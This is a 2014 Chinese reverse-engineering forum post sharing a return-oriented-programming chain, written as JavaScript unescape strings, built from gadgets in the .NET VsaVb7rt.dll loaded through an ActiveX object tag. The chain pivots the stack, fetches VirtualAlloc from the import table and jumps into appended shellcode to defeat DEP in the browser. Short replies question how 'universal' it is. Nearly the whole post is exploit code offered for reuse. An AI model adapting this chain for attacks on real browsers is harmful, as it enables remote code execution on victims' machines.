首页
社区
课程
招聘
[原创]基于.net 的vsavb7rt.dll写了个通用的rop
发表于: 2014-9-23 20:46 4590

[原创]基于.net 的vsavb7rt.dll写了个通用的rop

2014-9-23 20:46
4590
<object classid='clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F'> </object>

<script>

function l32(base,offset){var address=base+offset;s=address.toString(16);while(s.length<8)s="0"+s;s1=s.substring(0,4);s2=s.substring(4,8);return '%u'+s2+'%u'+s1 }

function f()

{

//http://ropshell.com/ropsearch?h=e46d48a7fe961401f1cbf85531cdf05d&p=neg+e%24x

return unescape("%u3270%u5e28"+ // pop ebx/ret

"%u19b1%u5e26"+ //first call xchg eax,esp/ret

"%uf933%u5e34"+ //start to do somethin pop ecx/ret

"%uFFFF%uFFFF"+ //ecx==FFFFFFFF

"%ub44b%u5e2c"+ // ecx=0 inc ecx/ret

"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+

"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+

"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+

"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+"%ub44b%u5e2c"+ //ecx=0x40

"%u3a79%u5e28"+ // POP EAX // RETN [VsaVb7rt.dll]

l32(0,0xfffff000-1)+

"%ub498%u5e34"+ //neg eax/sbb edx,0/ pop edi/pop ebx/ret 10h

"%u4141%u4141"+ //pop edi no use

"%u4241%u4141"+ //pop ebx no use

"%u6ae8%u5e30"+ //push eax/ pop ebx /pop ebp/ret 4

"%u4141%u4141"+

"%u4141%u4141"+

"%u4141%u4141"+

"%u4141%u4141"+

"%u4141%u4141"+

"%ub7cc%u5e34"+ // XOR EDX,EDX // RETN [VsaVb7rt.dll]

"%u4141%u4141"+

"%ub5ee%u5e34"+ // ADD EDX,EBX // POP EBX // RETN 0x10[VsaVb7rt.dll]

"%u4141%u4141"+

"%u3a79%u5e28"+ // POP EAX // RETN [VsaVb7rt.dll]

"%u4141%u4141"+

"%u4141%u4141"+

"%u4141%u4141"+

"%u4141%u4141"+

l32(0,0xfffff000-1)+

"%ub498%u5e34"+ //neg eax/sbb edx,0/ pop edi/pop ebx/ret 10h

"%u4141%u4141"+ //pop edi no use

"%u4141%u4141"+ //pop ebx no use

"%u6ae8%u5e30"+ //push eax/ pop ebx /pop ebp/ret 4

"%u4241%u4141"+

"%u4242%u4141"+

"%u4243%u4141"+

"%u4244%u4141"+

"%u4245%u4141"+

"%u3a79%u5e28"+ // POP EAX // RETN [VsaVb7rt.dll]

"%u4245%u4141"+

"%u113c%u5e23"+ // ptr to &VirtualAlloc() [IAT VsaVb7rt.dll]

"%u2a5f%u5e2a"+ // MOV EAX,DWORD PTR DS:[EAX] // RETN [VsaVb7rt.dll]

"%u4536%u5e30"+ // XCHG EAX,ESI // RETN [VsaVb7rt.dll]

"%ubd6f%u5e28"+ // POP EBP // RETN [VsaVb7rt.dll]

"%u7050%u5e28"+ // & jmp esp [VsaVb7rt.dll]

"%uff8d%u5e24"+ // POP EDI // RETN [VsaVb7rt.dll]

"%u315c%u5e28"+ // RETN (ROP NOP) [VsaVb7rt.dll]

"%u3a79%u5e28"+ // POP EAX // RETN [VsaVb7rt.dll]

"%u9090%u9090"+ // nop

"%u22cc%u5e2f"+ // PUSHAD // RETN [VsaVb7rt.dll]

shellcode);

}
做这么复杂主要是因为0x0000的截断问题,所以这里避免在链中出现%u0000

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 310
活跃值: (111)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
基于pushad 来布置得寄存器的值
2014-9-23 20:47
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不知道楼主说的“通用”是什么意思,对这个dll的各个版本都通用吗?
对各个版本的.net都通用吗?
2014-9-24 08:33
0
雪    币: 310
活跃值: (111)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
言辞有误,提供个思路吧!
2014-9-24 13:01
0
雪    币: 12421
活跃值: (3850)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
没明白干什么用的,能详细说明一下吗?
2014-9-26 08:31
0
游客
登录 | 注册 方可回帖
返回
//